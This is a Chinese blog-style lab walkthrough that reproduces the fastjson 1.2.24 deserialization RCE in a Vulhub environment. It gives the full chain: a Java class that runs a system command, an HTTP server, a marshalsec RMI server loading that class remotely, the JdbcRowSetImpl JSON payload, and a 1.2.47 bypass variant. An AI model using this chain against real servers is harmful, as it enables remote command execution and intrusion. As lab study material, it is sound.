fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
Posted Ananss
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤相关的知识,希望对你有一定的参考价值。
记录一下
1、在网上突然发现这个漏洞,就去尝试复现了一下,本次不记录漏洞形成原因,只记载复现
2、首先Fastjson百度了解一下只知道是一个java库,搜寻一下靶场环境搭建,网上大部分的都比较繁琐, 个人推荐可以使用Vulhub搭建是和docker一起使用的官网地址:https://vulhub.org/ (上面有安装详解)
3、环境搭建好之后打开目标(在8090端口)
3、这里唠叨一下,网上大部分,要不就直接给一个payload,要不就是大佬们在研究漏洞成因,(攻击环境搭的我头疼)
其实Vulhub上面有复现步骤,只是菜狗一枚,不懂的太多
4、下面是攻击第一步,先生产一个类文件,(菜如狗的我,只知道是个java文件,怎么编译我一脸懵,搜了三四个小时,还下载了idea),
1)本地安装有java环境
2)新建个txt文件复制代码进去重命名为TouchFile.java
3)cmd进入文件目录运行
javac TouchFile.java
4)你就会发现生成一个class文件
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
5、接下来,先安装maven (WIN10)
1)官网:http://maven.apache.org/download.cgi
2)下载apache-maven-3.5.3-bin.zip 并解压
3)添加环境变量
添加 M2_HOME 和 MAVEN_HOME 环境变量到 Windows 环境变量,并将其指向你的 Maven 文件夹
Path环境变量添加 %M2_HOME%\\bin
4)测试
mvn -version
6、把编译好的class文件传到外网系统中。并在class文件所在的目录,使用python开启监听:
python -m SimpleHTTPServer 4444
可以访问验证一下是否开启,是否把class文件放进入
7、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
1)项目地址
https://github.com/mbechler/marshalsec
2)项目编译(去项目目录下执行命令)
mvn clean package -DskipTests
3)会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 这样一个文件
4)执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999
8、这个时候攻击环境已经准备就绪了 ,然后直接执行payload就可以了
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://同上类文件地址:9999/TouchFile", "autoCommit":true } }
9、验证是否成功执行
10、如果想执行其它命令,修改最初的java文件重新操作即可
以上是我遇到坑,一步一摔,详细记录下测试步骤,
11、简单看了下Fastjosn1.2.47远程命令执行漏洞,操作步骤合上一样只是利用的函数不一样,从而进行绕过,修改最后payload里函数即可
比如:
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
顺便贴一下自己攻击成功和失败的包
以上是关于fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤的主要内容,如果未能解决你的问题,请参考以下文章
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
技术分享fastjson <= 1.2.24 反序列化漏洞分析